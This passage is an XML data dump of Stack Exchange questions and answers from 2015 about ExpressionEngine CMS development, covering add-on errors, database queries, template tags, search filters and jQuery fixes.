  <row Id="34318" PostTypeId="1" AcceptedAnswerId="34330" CreationDate="2015-10-07T08:19:20.570" Score="1" ViewCount="122" Body="&lt;p&gt;Using MX Notify Control 2.4.6 in a project on EE 2.9.3 . Calling the Add-ons extensions page gives a error. Server runs on PHP 5.5 or 5.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strict Standards: Redefining already defined constructor for class Mx_notify_control_ext in /.../expressionengine/third_party/mx_notify_control/ext.mx_notify_control.php on line 62&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extension seems to work, but the error should be. Is the code not PHP 5.5 compatible?&lt;/p&gt;&#xA;" OwnerUserId="686" LastActivityDate="2015-10-08T06:37:59.883" Title="MX Notify Control PHP error on extension page" Tags="|mx-title-control|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34319" PostTypeId="1" CreationDate="2015-10-07T08:33:57.723" Score="0" ViewCount="16" Body="&lt;p&gt;hits addon downloaded from &lt;a href=&quot;http://www.devdemon.com/expressionengine-addons/hits&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/expressionengine-addons/hits&lt;/a&gt; not working on other sites I have three website &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) exampleone.com&#xA;2) exampletwo.com&#xA;3) examplethree.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;exampletwo.com,examplethree.com are fetching data from exampleone.com using site=&quot;short_name&quot; here is example:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; site=&quot;default_site&quot; limit=&quot;1&quot;  track_views=&quot;one&quot; dynamic=&quot;no&quot; status=&quot;open|featured&quot; disable=&quot;categories|category_fields|pagination|member_data&quot;}&#xA;&#xA;          {exp:hits:count_hits entry_id=&quot;{entry_id}&quot;}&#xA;&#xA;   {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now when i put hits adddon as per there documentation its not working on &#xA;exampletwo.com,examplethree.com and its only working on exampleone.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="6733" LastEditorUserId="3579" LastEditDate="2015-10-07T13:02:41.170" LastActivityDate="2015-10-07T13:02:41.170" Title="hits addon is not working on multiple sites" Tags="|devdemon|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34320" PostTypeId="1" AcceptedAnswerId="34323" CreationDate="2015-10-07T09:50:20.920" Score="0" ViewCount="330" Body="&lt;p&gt;I'm developing an EE module that needs to access a non EE database table that isn't prefixed with 'exp_'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about doing this? In Codeigniter I can use set_dbprefix, but that doesn't appear to be available in EE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using EE 2.73 currently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="308" LastActivityDate="2015-10-07T13:32:32.323" Title="How to access a custom table name that isn't prefixed with exp_" Tags="|add-on-development|module|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34321" PostTypeId="2" ParentId="34315" CreationDate="2015-10-07T10:16:34.030" Score="1" Body="&lt;p&gt;One way that's currently possible, is to use a &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/parameters#sql-params&quot; rel=&quot;nofollow&quot;&gt;SQL Parameter&lt;/a&gt; to query the entry IDs that have a relationship. The other would be to create &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/create&quot; rel=&quot;nofollow&quot;&gt;a custom filter&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-10-07T10:16:34.030" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34322" PostTypeId="2" ParentId="34320" CreationDate="2015-10-07T11:42:44.400" Score="1" Body="&lt;p&gt;You can set the database to be used like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mydb = ee()-&amp;gt;load-&amp;gt;database('mydatabase', TRUE);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By setting the second parameter to TRUE the function will return the database object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then run a query like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $mydb-&amp;gt;select('*')-&amp;gt;from('tableName')-&amp;gt;get();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set the database prefix to use in the query use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;db-&amp;gt;set_dbprefix('myprefix');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2015-10-07T12:23:48.443" LastActivityDate="2015-10-07T12:23:48.443" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34323" PostTypeId="2" ParentId="34320" CreationDate="2015-10-07T13:05:17.103" Score="1" Body="&lt;p&gt;If I recall correctly, using the query module (and relative portion of the database class) doesn't force the prefix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/query/&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/query/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can use that to query any full table name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$result = ee()-&amp;gt;db-&amp;gt;query('SELECT * FROM not_prefixed_table')-&amp;gt;result_array();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You just annoyingly have to write out each query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; Also, I'm assuming you don't have permissions to make schema and table changes to this database, because otherwise the obvious answer is just modify the table name to include the prefix.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-10-07T13:32:32.323" LastActivityDate="2015-10-07T13:32:32.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34324" PostTypeId="2" ParentId="34310" CreationDate="2015-10-07T14:03:19.897" Score="0" Body="&lt;p&gt;Install &lt;a href=&quot;https://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow&quot;&gt;Control Panel CSS/JS&lt;/a&gt; add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add the following CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#breadCrumb { display:none; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or for slightly better result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#breadCrumb { height:22px; }&#xA;#breadCrumb ol { display:none; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastActivityDate="2015-10-07T14:03:19.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34325" PostTypeId="1" AcceptedAnswerId="34395" CreationDate="2015-10-07T14:45:01.010" Score="0" ViewCount="1555" Body="&lt;p&gt;I am trying to embed a Facebook video in an EE channel entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find that when the entry field is formatted as either &lt;code&gt;Markdown&lt;/code&gt; or &lt;code&gt;XHTML&lt;/code&gt; EE is rewriting part of the javascript in a way that makes the video embed break on the Facebook side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally I can prevent EE from munging my javascript within entries by wrapping the script in a &lt;code&gt;CDATA&lt;/code&gt; declaration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However in this case EE's Typography engine is rewriting:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;js.src = &quot;//connect.facebook.net/en_US/sdk.js#xfbml=1&amp;amp;version=v2.3&quot;;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;js.src = &quot;//connect.facebook.net/en_US/sdk.js#xfbml=1&amp;amp;amp;version=v2.3&quot;;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;code&gt;&amp;amp;&lt;/code&gt; is rewritten to &lt;code&gt;&amp;amp;amp;&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which gives the following error in the browser console:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Uncaught Error: invalid version specified&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My work-around is to set the field format as &lt;code&gt;None&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can keep the format as XHTML short of making a global change to the site's typography settings?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using EE version 2.8.1&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2015-10-18T16:05:03.657" Title="Prevent encoding of ampersand in a single entry?" Tags="|javascript|formatting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34326" PostTypeId="1" AcceptedAnswerId="34327" CreationDate="2015-10-07T15:10:06.570" Score="0" ViewCount="282" Body="&lt;p&gt;I have a single-entry page with no category information in the URL. Each entry is only assigned to one category (or, if multiple, I only need one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal is to display a list of up to 5 other entries from the same channel and category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been around and around this but can't figure it out. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3132" LastActivityDate="2015-10-07T17:52:13.630" Title="Display other entries from same category on single-entry page" Tags="|ee2|channel-entries|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34327" PostTypeId="2" ParentId="34326" CreationDate="2015-10-07T15:48:35.330" Score="0" Body="&lt;p&gt;Have you given this a shot?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#related-categories-mode&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#related-categories-mode&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's meant specifically for single-entry pages. I think it's used something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries url_title=&quot;{segment_2}&quot; limit=&quot;1&quot;}&#xA;&#xA;    Our single entry page ! {title}&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:channel:entries related_categories_mode=&quot;yes&quot; limit=&quot;5&quot; channel=&quot;CHANNEL_ID&quot;}&#xA;&#xA;     Related entries!&#xA;&#xA; {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It that works for you, &lt;strong&gt;please&lt;/strong&gt; take that inner loop out and put it in an embedded template, as it's more efficient.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="343" LastEditDate="2015-10-07T17:52:13.630" LastActivityDate="2015-10-07T17:52:13.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34329" PostTypeId="2" ParentId="34277" CreationDate="2015-10-07T20:23:36.313" Score="1" Body="&lt;p&gt;Uninstall all third party addons, especially Accessories. I literally had this happen to me the other day when I was developing a complex addon. I can't remember if it was the Extension or Accessory that was doing it (pretty sure it was the Accessory). Do them one by one so you can find out exactly who the culprit is.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-10-07T20:23:36.313" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34330" PostTypeId="2" ParentId="34318" CreationDate="2015-10-08T06:37:59.883" Score="2" Body="&lt;p&gt;I did &lt;a href=&quot;https://github.com/MaxLazar/mx-notify-control/&quot; rel=&quot;nofollow&quot;&gt;quick update&lt;/a&gt;(v 2.4.7). It should remove this error.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2015-10-08T06:37:59.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34331" PostTypeId="2" ParentId="34166" CreationDate="2015-10-08T11:46:48.703" Score="0" Body="&lt;p&gt;Seems the cartthrob / stripe payment plugin has dollars hard-coded into it by default. Changing that solves the problem...&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2015-10-08T11:46:48.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34332" PostTypeId="1" CreationDate="2015-10-08T12:56:24.883" Score="0" ViewCount="25" Body="&lt;p&gt;I might need to hack Importer to make it allow importing members without requiring an email. Is it even possible ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(related to &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/32786/protecting-profile-email-after-initial-solspace-importer-update&quot;&gt;this&lt;/a&gt; question)&lt;/p&gt;&#xA;" OwnerUserId="3097" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-10-08T22:17:30.903" Title="Modify Solspace importer for email is not required" Tags="|solspace-importer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34333" PostTypeId="1" AcceptedAnswerId="34335" CreationDate="2015-10-08T13:05:49.457" Score="0" ViewCount="204" Body="&lt;p&gt;I'm working on a site in ExpressionEngine which has been causing all sorts of problems, and we thought we had solved most of them, but now have run into a completely new issue which I can't seem to resolve. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We took this project over from another development firm, and when we try to edit any snippets that were created initially those changes are never saved, the snippets code just reverts back to its original state. We are able to create new snippets and edit those without any issues whatsoever, but can edit any of the pre-created templates from the other firm. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have cleared the cache both through the admin section in EE, and have cleared out the cache folder in system/expressionengine/cache/, but this still does not solve the issue. I thought then that I would just edit the snippet directly in the database in order to make the changes. My changes will save in the database for those snippets, but it still does not change the code in ExpressionEngine. I have verified that any changes that I make to snippets that I have created are being stored in the database, so I'm really confused as to what could be causing the issue, and why even my changes in the database aren't being reflected in the system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6496" LastActivityDate="2015-10-08T13:53:25.397" Title="Snippet Changes Not Being Saved" Tags="|database|snippets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34334" PostTypeId="2" ParentId="34332" CreationDate="2015-10-08T13:11:15.577" Score="1" Body="&lt;p&gt;Hrmm. I think the first-party member module really depends on having an email address for an account, and really scanning through it to modify it is both a very bad practice and impractical. What I would suggest is generating dummy email addresses for your source file using a GUID for both the localpart and the domain, making it a statistical extreme that their is any collision between your fake addresses and real ones. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this does beg the question; How will you update these email addresses when the time comes? These are websites we're talking about, and I'm not sure but how does Importer deal with passwords? Do you have the passwords in plain text? If not, every imported user is probably going to &lt;strong&gt;need&lt;/strong&gt; to use the EE password reset functionality, meaning they'll need a valid email address (or you go through and set temporary passwords you share with them, on a case by case request). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on your comments, your major issue is a bad data set. I'm assuming you are tasked with doing a recovery for someone, otherwise you need tell them you need valid data or no-dice. I looked, and Importer has no extension hooks in it, so if you are really stuck having to deal, just write your own import script. It won't be fun, but then you can do as I said; generate GUID@GUID.com (google GUID if you don't know what that is) for each row you import and use that as your email.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-10-08T22:17:30.903" LastActivityDate="2015-10-08T22:17:30.903" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34335" PostTypeId="2" ParentId="34333" CreationDate="2015-10-08T13:53:25.397" Score="0" Body="&lt;p&gt;Have you checked to see if you have either of these addons installed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/snippet-sync&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/snippet-sync&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/snippetssync&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/snippetssync&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They both serve the same functionality; they hook into your snippets when you save them and save them as files (to allow snippets to be in a VCS). Then, when you load a snippet, they hook there as well, and load the snippet from that file. It basically usurps the database call and instead makes the snippets file based.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-10-08T13:53:25.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34336" PostTypeId="1" CreationDate="2015-10-08T16:33:25.387" Score="0" ViewCount="36" Body="&lt;p&gt;I am using WYGWAM 3.3.3 and EE 2.9.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have my WYGWAM set to 400pixels resizable.  When I have a long entry when the edit page loads there is a scroll bar in the WYGWAM editor, but as soon as I click in the editor it expands to show the entire entry and the scrolling is gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a problem because the user has to scroll up to the top to see the editor tools and then cannot see the content they are editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HOw do you keep the window at 400px and scrolling even after you click in it?&lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="451" LastEditDate="2015-10-08T17:08:59.060" LastActivityDate="2015-10-08T17:08:59.060" Title="WYGWAM. window size click with no scroll" Tags="|pixelandtonic|wygwam|wysiwyg|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34338" PostTypeId="2" ParentId="25113" CreationDate="2015-10-08T18:04:55.347" Score="1" Body="&lt;p&gt;I was able to get this working by updating all instance of the &lt;code&gt;live()&lt;/code&gt; jQuery function in &lt;code&gt;calendar_publish.js&lt;/code&gt; to use &lt;code&gt;on()&lt;/code&gt; instead. The syntax is a little different, so here is what I changed:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Line 1913, FROM:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('select[name=type]').live('change', function()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;TO&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).on('change', 'select[name=type]', function()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Line 1948, FROM:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('div.all_day input:checkbox').live('change', function()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;TO&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).on('change', 'div.all_day input:checkbox', function()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Line 1984, FROM:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.selector .item a', $cal_fields).live('click', function()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;TO&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cal_fields.on('click', '.selector .item a', function()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Line 2046, FROM:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.rule_close', $cal_fields).live('click', function(){&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;TO&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$($cal_fields).on('click', '.rule_close', function(){&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;That seemed to do it! Oh, btw, this is Solspace Calendar 1.8.14&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2015-10-08T18:04:55.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34339" PostTypeId="1" CreationDate="2015-10-08T23:23:15.303" Score="0" ViewCount="65" Body="&lt;p&gt;Is there a way to add the recipient_email field using the composer in Freeform. We want the customer to be able to use the composer to edit a form and need to be able to send email notifications based on a dropdown selection field on the form.&lt;/p&gt;&#xA;" OwnerUserId="6738" LastActivityDate="2016-06-29T14:43:56.577" Title="Is there a way to add the recipient_email field using the composer in Freeform" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34342" PostTypeId="1" CreationDate="2015-10-09T12:56:26.850" Score="0" ViewCount="1433" Body="&lt;p&gt;Expression Engine is based on codeignitor framework and codeignitor is developed using core PHP but I want to know which technologies are used by expression engine like it uses angular js,ember js etc. ?&lt;/p&gt;&#xA;" OwnerUserId="6730" LastActivityDate="2016-11-15T17:06:05.243" Title="Which technologies are used in Expression engine" Tags="|php|codeigniter|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34343" PostTypeId="1" CreationDate="2015-10-05T09:34:30.767" Score="1" ViewCount="105" Body="&lt;p&gt;Search functionality is not working for multiple sites i have three website&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;eg.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1)example1.com&#xA;2)example2.com&#xA;3)example3.com  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the (2) and (3) no. site is taking data from site (1) but search is only working on site (1) not on others two its redirecting to &lt;code&gt;no_result_page=&quot;search/no_results&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form&#xA;    channel=&quot;default_site:news|business|travel&quot;&#xA;    result_page=&quot;search/results&quot;&#xA;    no_result_page=&quot;search/no_results&quot;         &#xA;    search_in=&quot;everywhere&quot;}&#xA;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;search&quot; value=&quot;&quot; class=&quot;form-control input-sm&quot; placeholder=&quot;Search&quot; required /&amp;gt; &#xA;&#xA;    &amp;lt;button type=&quot;submit&quot; id=&quot;submit&quot; name=&quot;submit&quot; class=&quot;btn btn-default btn-sm&quot;&amp;gt;&#xA;        &amp;lt;i class=&quot;fa fa-search&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;    &amp;lt;/button&amp;gt;&#xA;&#xA;{/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I want to know anything else i have to add in this above code &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="6756" OwnerDisplayName="Abhay" LastEditorUserId="3579" LastEditDate="2015-10-09T19:19:11.393" LastActivityDate="2015-10-09T19:19:11.393" Title="How to give site id or site name in Search in Expression Engine(bug in expression engine)" Tags="|php|codeigniter|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34346" PostTypeId="1" AcceptedAnswerId="34374" CreationDate="2015-10-09T20:35:53.470" Score="0" ViewCount="395" Body="&lt;p&gt;I am trying to make a template that outputs JSON, listing all events within a date range. I want to be able to display my custom channel fields in the Event channel, as well as within the Calendar channel that the event is associated with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried so many things, and cannot seem to get this to work. Not sure if I just can't find the right syntax, or if it's not possible with the Calendar tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which {exp:calendar:???} tag will allow me to display custom fields from both my event and calendar channels? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2015-10-13T15:59:12.407" Title="How to get Calendar and Event data from Solspace Calendar?" Tags="|solspace|custom-fields|solspace-calendar|calendar-events|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34347" PostTypeId="2" ParentId="25738" CreationDate="2015-10-09T23:29:58.797" Score="1" Body="&lt;p&gt;What's the url of the the page that's getting the page not found error? Postmaster uses the domain you have specified in your config. This may be the problem. This is particularly true if you're using MSM.&lt;/p&gt;&#xA;" OwnerUserId="857" LastActivityDate="2015-10-09T23:29:58.797" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34348" PostTypeId="1" AcceptedAnswerId="34349" CreationDate="2015-10-10T01:11:50.033" Score="0" ViewCount="52" Body="&lt;p&gt;In my search form I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;programs_courses_show_in_results&quot; value=&quot;Yes&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in the results I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results &#xA;  channel=&quot;programs_courses&quot;&#xA;  entry_id=&quot;not 110&quot;&#xA;  limit=&quot;100&quot;&#xA;  query=&quot;{segment_4}&quot;}&#xA;&#xA;  {if count == 1}{total_results}{/if}&#xA;&#xA;  {if count ==  1}&amp;lt;ol&amp;gt;{/if}&#xA;&#xA;      &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;{title}&amp;lt;/a&amp;gt; &amp;lt;small&amp;gt;Count: {count} | Show: {programs_courses_show_in_results}&amp;lt;/small&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;  {if count == total_results}&amp;lt;/ol&amp;gt;{/if}&#xA;&#xA;  {if no_results}No search results{/if}&#xA;&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Technically, I also have some category parameters in the search form, but if I leave those alone and only hit the search button, the results show everything in the channel, not just the ones with the &lt;code&gt;programs_courses_show_in_results&lt;/code&gt; field set to &quot;Yes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2015-10-10T16:57:54.847" Title="Low Search - not respecting hidden field/param" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34349" PostTypeId="2" ParentId="34348" CreationDate="2015-10-10T05:54:04.873" Score="2" Body="&lt;p&gt;As per &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/parameters#params&quot; rel=&quot;nofollow&quot;&gt;how parameters work&lt;/a&gt;, you need to prefix the var with &lt;code&gt;low_search_&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edited to elaborate:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The prefix is for outputting the parameter value as a variable. So, as shown in the docs, this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;param_name&quot; value=&quot;param_value&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...results in the variable &lt;code&gt;{low_search_param_name}&lt;/code&gt;. To translate that to your setup, having this in your form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;programs_courses_show_in_results&quot; value=&quot;Yes&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...would mean &lt;code&gt;{low_search_programs_courses_show_in_results}&lt;/code&gt; would output &lt;code&gt;Yes&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you don't want just to output &lt;code&gt;Yes&lt;/code&gt;. As I understand it now, &lt;code&gt;programs_courses_show_in_results&lt;/code&gt; is actually a custom field that can contain the value &lt;code&gt;Yes&lt;/code&gt;, so you want to filter search results and only display entries where that fields equals &lt;code&gt;Yes&lt;/code&gt;, like you can with the native &lt;code&gt;exp:channel:entries&lt;/code&gt; tag using the parameter &lt;code&gt;search:programs_courses_show_in_results=&quot;Yes&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To achieve this in Low Search, use the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#field-search&quot; rel=&quot;nofollow&quot;&gt;Field Search filter&lt;/a&gt;, so you can either use that exact parameter on the &lt;code&gt;exp:low_search:results&lt;/code&gt; tag, or use a (hidden) field in the Form tag, thusly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;search:programs_courses_show_in_results&quot; value=&quot;Yes&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...which means you can output &lt;code&gt;Yes&lt;/code&gt; using &lt;code&gt;{low_search_search:programs_courses_show_in_results}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2015-10-10T16:57:54.847" 